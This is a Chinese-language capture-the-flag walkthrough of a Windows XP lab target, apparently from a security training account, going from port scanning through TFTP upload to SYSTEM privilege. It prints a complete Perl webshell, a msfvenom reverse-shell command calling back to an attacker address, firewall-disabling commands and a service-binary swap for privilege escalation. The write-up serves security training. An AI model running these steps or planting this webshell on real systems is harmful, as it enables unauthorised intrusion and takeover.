声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者和此公众号不为此承担任何责任。
首先打开靶场
一个windows_xp的系统
第二步:端口探测
指令:nmap -sS -p- 192.168.233.153(探测tcp端口)
Nmap-sU -p-192.168.233.153(探测UDP端口)
其中我们发现我们tcp中有21,22,23,80端口,UDP有69端口
之后我们在对其开放的端口进行网络服务版本与操作系统版本的扫描
第三步:渗透测试
其中我们发现21端口可以使用匿名登录anonymous
那么我们登录一下看看
发现可以发现很多文件但是不能下载
那么我们先继续往下看
还有22端口那么我们看一下22端口的ssh是否可以利用,本来想着是爆破的但是发现没有用户名暂时放一下
在看23端口telnet发现也没有什么可利用的条件,用户名没有
之后就去看69的udp端口tftp尝试连接一下看看有什么
发现tftp是可以上传的,那么上传的位置在哪里,我们看一下
我们发现我们上传的文件都在root目录下觉的可能root就是网站的本目录,是不是在继续看一下,在这其中还发现了一个cgi-bin 的目录,cgi可以用perl来写木马的,如果root是本目录我们是不是就直接可以把木马上传到cgi-bin的目录完事直接来完成命令执行呢?
那么我们接下来访问一下80端口看看
打开之后发现是一个跟抽象的东西,看了一下网页源代码也没有什么东西,那么接下来我们扫一下目录看看
哈哈,看到这个说明什么,看到这个就可以确定root是网站的根目录,因为我们在根目录中发现了cgi-bin的这个文件,那么我们就利用tftp来上传一个perl的木马之后看看能不能做命令执行
#!/usr/bin/perl
use CGI;
use Cwd;
print CGI::header( -type => 'text/html' );
my $command = CGI::param('command');
my $pwd = CGI::param('pwd') || '';
my $password = CGI::param('password');
my $filename = CGI->script_name() ;
if ( $password ne 'yourpassword' ) {
print "Please provide a valid password.n";
exit(0)
}
$pwd = $pwd eq '' ? `pwd` : $pwd;
my $home = Cwd::cwd();
chdir($pwd);
my $result='';
if ($command =~ /^cds*(.*)/) {
my $dir = $1 or '';
if ($dir eq '') {
chdir($home);
} else {
chdir($dir);
}
$pwd = Cwd::cwd();
$result = `ls -la`;
} else {
$result = `$command`;
}
print <<EOF;
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type"><title>console</title>
<script>
window.onload = function(){
document.getElementById("command").focus();
}
</script>
<style type="text/css">
.wide1 {
border-width: thick;
width: 100%;
height: 600px;
}
.wide2 {
setFocus;
border-width: thick;
width: 100%;
}
</style>
</head><body>
<p>
Script: $filename PWD: $pwd <br/>
<textarea class="wide1" readonly="readonly" cols="1" rows="1" name="result">
$result
</textarea></p>
<form method="get" action="$filename" name="command">Command:
<input class="wide2" name="command" id="command"><br>
<input name="password" value="$password" type="hidden">
<input name="pwd" value="$pwd" type="hidden">
</form>
<br>
</body></html>
EOF
exit 0;
这是我们找的一个perl的脚本,之后我们进行上传尝试
上传了一个pl的webshell,之后我们用ftp看一下是否上传成功了
已经成功上传,之后我们通过web访问一下,我们来看看这个脚本是否能成功执行
已经实现了webshell现在就是使用一下反链来形成一个交互式的命令执行就就可以了
我们使用msfvenom工具生成一个反链的windows的exe的文件。
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.233.140 LPORT=4444 -f exe -o ./wang.exe
之后通过tftp上传这个exe的文件,来实现反链,攻击机kali要使用nc -nvlp 4444来监听2333端口
上传成功,之后我们通过webshell来执行一下这个exe的文件
执行成功了但是反链没有反应什么原因,可能是上传的时候出了什么问题,因为上传默认用的是ASCII码上传的,可能是这个原因我们修改一下上传方式用二进制来上传
使用binsry来实现二进制上传,之后再上传一个wang.exe,在执行一下看看,发现反链不上来,怀疑可能是有防火墙,那么就关闭防火墙
netsh firewall show state
查看防火墙
确实存在,那么咱们就关闭它
net stop sharedaccess
禁用之后我们继续是用nc来反链,监听4444端口
链接成功之后,我们想想我们的windows的提权方式第一个溢出提权,我们看打了什么补丁systeminfo
看了一下没有补丁的详细情况,换一种提权思路
看了一下system的启动程序都有那些我们试试看看能不能以system的身份来启动cmd的程序,其中tftp服务我们看到了,还有一个FREESSHD这个服务,tftp我们先不动,弄坏了这个服务就没办法上传了,我们先尝试FReeSSHD这个服务
使用net start 来看看那些服务在使用
之后我们找到了正在运行的ftp服务,目的是找到正在以system运行的服务,之后通过修改shell 的名字让system来运行这个shell从而达到system权限的目的
这个是我们刚刚找到的两个服务,之后我们又发现了FileZilla server FTO server正在运行
前面说到tftp先不动,那么我们就看看吧我们的反弹shell换成这个服务的名字在启动是否可以完成提权,当然要先找到这个FileZilla server.exe所在位置。
1、cd c:
2、cd Program Files
3、Dir
4、cdFileZilla Server
5、Dir
发现了这个FileZilla Server.exe的程序
之后我们在找到我们上传的exe反链文件,那么吧这个反链文件复制到服务的文件里面就可以了
首先我们做一个备份,把FileZilla server.exe被分成FileZilla server.exe.bak,之后再把我们的wang.exe修改成这个文件名之后停止启动一下
Move “wang.exe” “FileZilla server.exe”
之后再重启一下服务,使用nc继续监听4444端口
指令:net start “FileZilla Server FTP server”
之后反链成功,现在我们提权也就成功了
我们可以直接修改administrator的用户名
总结
靶场链接:链接:https://pan.baidu.com/s/1Je8ZWv0TVcaN36k1XWV2mg?pwd=wang
提取码:wang
这个windows_xp的链接,之后就一步一步走吧遇到什么问题可以公众号随时沟通
原文始发于微信公众号(攻防学堂):2024 scream靶场之TFTP的利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论